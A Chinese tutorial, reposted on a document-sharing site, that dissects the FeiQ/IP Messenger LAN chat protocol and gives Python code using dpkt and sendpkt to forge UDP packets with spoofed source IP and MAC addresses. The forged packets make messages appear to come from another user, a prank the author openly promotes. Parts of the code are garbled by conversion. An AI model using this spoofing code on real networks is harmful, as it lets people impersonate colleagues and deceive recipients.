FeiQ传输协议分析.docx
- 文档编号:11877569
- 上传时间:2023-06-03
- 格式:DOCX
- 页数:13
- 大小:1.04MB
FeiQ传输协议分析.docx
《FeiQ传输协议分析.docx》由会员分享,可在线阅读,更多相关《FeiQ传输协议分析.docx(13页珍藏版)》请在冰点文库上搜索。
FeiQ传输协议分析
咱们常在局域网内用飞鸽进行沟通、文件传输。
有天突发奇想,若是我能冒充某给人给另外一个人发送飞鸽消息,该多有趣?
有了方式,就该去实现,不然确实是空想了。
。
只是还真空想了段时刻,但最后仍是写出了个小程序,和大伙儿分享下。
要想冒充他人,第一得了解下飞鸽协议(见)。
由于咱们大多数人用的都是飞秋,因此就直接分析飞秋了。
飞秋协议事实上飞鸽协议的扩展,比飞鸽略微复杂点。
第一看个简单的例子,咱们以编程的方式,自己给自己发条消息。
看代码和截图:
Python代码
1.>>> import socket
2.>>> udp=,
3.>>> (('localhost',2425))
4.>>> ('1:
100:
flyingzl:
flyingzl:
32:
纵我不往,子宁不嗣音?
~~')
5.51
6.>>>
简单说明下代码:
飞鸽运行时,会监听UDP和TCP的2425端口,因此咱们第一要和本地成立UDP连接,TCP连接一样用来发送文件等。
1:
100:
flyingzl:
flyingzl:
32:
纵我不往,子宁不嗣音?
~~是飞鸽的协议字符串,
1表示版本号,100标识包号,flyingzl表示用户名,第二个flyingzl表示主机名,32表示发送消息,后面的表示要发送的消息内容。
这是飞鸽的协议,后面咱们会看到飞鸽和飞秋又有所不同。
咱们能够通过socket连机其他人的飞秋并给他们发送消息,可是通过socket发送出去的数据包会默许带上咱们自己的ip地址和mac地址,怎么样才能修改这些数据包呢?
有方法,windows上不是有wincap么,linux上不是有libnet么,它们都有python扩展,叫做sendpkt,直接挪用就好了。
关于怎么利用,能够看之前我的帖子
通过挪用sendpkt,咱们能够自己构造以太网数据包,自己概念源ip地址和源mac地址,如此就神不知鬼不觉地欺骗他人。
。
此刻的问题是:
怎么构建以太网数据包。
由于飞秋发送消息是采纳UDP协议,因此咱们只需要构建一个UDP数据包,然后加上咱们的内容就能够够了。
构建以太网数据包能够采纳dpkt,超级方便。
此刻,咱们用wireshark来分析飞秋的协议。
。
打开个飞鸽,点击刷新,就能够看到wireshark捕捉的数据包:
飞秋上线时,第一会发送广播,告知网内的其他飞秋,有新人上线,你们马上动起来,把他加入自己的老友,并问候他一下,如此,对方飞鸽里面就看到你的飞秋了。
然后对方也会把自己的信息发给你,你的飞秋中也就有了他。
咱们把截获的代码拷出来,确实是1_lbt4_10#32899#0012#0#0#0:
07:
Administrator:
MICROSO-697TGLD:
6291457:
别看那个字符串很复杂,其实它确实是飞鸽的扩展,也是分为几段。
1_lbt4_10#32899#0012#0#0#0版本号,只是飞秋有很多自己的定制化,比如是不是显示太阳等,32899就表示一个太阳和一个月亮,0012表示发送者的mac地址,后面的三个0不明白啥意思,有爱好的童鞋好好分析下,和大伙儿一路交流交流
07也确实是包序号了。
Administrator是用户名
MICROSO-697TGLD是主机名
6291457是命令字表示上线。
还有一些其他的,比如288表示发送消息,6291457表示下线,还有晃屏啥的,大伙儿有爱好能够自己去分析。
由于我只想发送消息,因此只需要修改下命令字为288即可。
下面确实是一个发送消息的命令字:
1_lbt4_10#32899#0012#0#0#0:
07:
Administrator:
MICROSO-697TGLD:
288:
一日不见,如三月兮
Python代码
1.>>> import socket
2.>>> udp=,
3.>>> (('localhost',2425))
4.>>> ('1_lbt4_10#32899#0012#0#0#0:
07:
flyingzl:
flyingzl:
288:
一日不见,如三月兮')
5.86
6.>>>
细心的同窗已经发觉,这次截图和上次截图显示不一样,上次截图显示的是飞鸽图标,这次却是飞秋图标。
呵呵。
。
因为咱们发送的是飞秋命令字。
。
有了飞秋命令字,咱们就能够够构建数据包,发送修悔改的飞秋数据包了。
。
啥都不说了,上代码:
Python代码
1.#coding=utf-8
2.import dpkt
3.import sendpkt
4.from socket import inet_aton
5.from time import strftime
6.import socket
7.import types
8.import uuid
9.
10.#本地网关MAC地址,能够通过如下方式获取:
11.#C:
\Users\Administrator>arp -a
12.#接口:
--- 0xb
13.# Internet 地址 物理地址 类型
14.# 00-03-47-ca-e4-5c 动态
15.MASK_MAC='1c-af-f7-c0-65-a8'
16.
17.
18.def get_local_mac():
19. '''''
20. 取得本机Mac地址
21. '''
22. mac=().hex[-12:
]
23. return '-'.join([mac[(i-1)*2:
2*i] for i in range(1,7)])
24.
25.def send_msg(kwargs):
26. '''''
27. 发送消息,kwargs参数为一个dict对象
28. '''
29. if type(kwargs) is not :
30. return
31. #本机ip地址
32. local_ip=('src',()))
33. #转码后的源ip地址
34. src_ip=inet_aton(local_ip)
35. #转码后的目的ip地址
36. dst_ip=inet_aton('dst'))
37. #本机mac地址
38. local_mac=('src_mac',get_local_mac())
39. #转码后的源mac地址
40. src_mac=pack_mac(local_mac)
41. #判定remote_ip和local_ip是不是在同一个网段
42. #转码后的目的mac地址
43. dst_mac=pack_mac('dst_mac'))\
44. if trans(local_ip)==trans('dst')) else pack_mac(MASK_MAC)
45. host=('host',())
46. user=('user','User')
47. msg=('msg','Hello')
48.
49. #找到第一个网络端口,依照自己的情形修改
50. #安装了VirtualBox、VMWare或有无线网卡的同窗得自己修改下
51. device=()[0]
52. #飞鸽监听本地的UDP 2425端口
53. udp=
54. #向飞鸽发送消息命令字
55. #6291458表示下线
56. #6291457表示上线
57. #288表示发送信息
58. #若是是飞秋,65664那个状态会在对方上显示为两个太阳
59. msg="1_lbt4_10#65664#%s#0#0#0:
%s:
%s:
%s:
288:
%s" \
60. %('-',''),int(strftime('%m%d%H%M%S'))+0,user,host,msg)
61. msg=("gbk")
62. +=msg
63. =len(udp)
64.
65. ip=
66. #从头计算ip的长度,不然消息发送不出去
67. =len(ip)
68.
69. ether=
70. dst=dst_mac,
71. src=src_mac,
72. type=0x0800,
73. data=ip
74. )
75. (str(ether),device)
76.
77.def trans(ip,mask=''):
78. '''''
79. 判定两个ip地址是不是在同一个网段
80. '''
81. str=[]
82. ip=(".")
83. mask=(".")
84. for index,item in enumerate(ip):
85. (int(item)&int(mask[index]))
86. return str
87.
88.
89.def pack_mac(mac,pattern='-'):
90. '''''
91. 网卡地址转为以太网Mac地址
92. 例如将"08-00-27-ba-f7-e5"转为"\x08\x00'\xba\xf7\xe5"
93. '''
94. mac=())
95. return "".join([chr(int('0x'+x,16)) for x in mac])
96.
97.if __name__=="__main__":
98. s={
99. 'src':
'',
100. 'dst':
'',
101. 'src_mac':
'00-15-AF-AE-E6-C0',
102. #那个地址最好别写错,能够从飞鸽上看到老友的Mac地址
103. 'dst_mac':
'00-24-81-62-75-12',
104. 'host':
'哈哈',
105. 'user':
'呵呵',
106. 'msg':
'加班呀?
'
107. }
108. send_msg(s)
代码我就不说明了,大伙儿能够看里面的注释,写得比较明白。
。
咱们来测试下,看看成效。
。
。
从之前的图片上能够看到,我飞秋上就两个老友,咱们此刻要凭空造出来一个,他的ip是,mac是00-15-AF-AE-E6-C0
运行后,能够看到如此的结果:
貌似是能够欺骗成功了。
。
只是若是要欺骗其他网段的飞秋老友,必然要修过代码中的MASK_MAC字段,大伙儿用wireshark分析飞秋的UPD数据包就明白了。
。
。
若是大伙儿有爱好,能够自己做个图形化的界面,比如web页面,能够图形化的进行欺骗。
。
。
那就成心思了,比如:
呵呵,就此告一段落。
。
。
若是大伙儿都挺关注,我就把code都发上来吧。
。
。
。
最后,希望本人能抛砖引玉,让大伙儿发挥出刚强的制造力。
。
。
祝列位周末愉快:
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- FeiQ 传输 协议 分析
![提示](https://static.bingdoc.com/images/bang_tan.gif)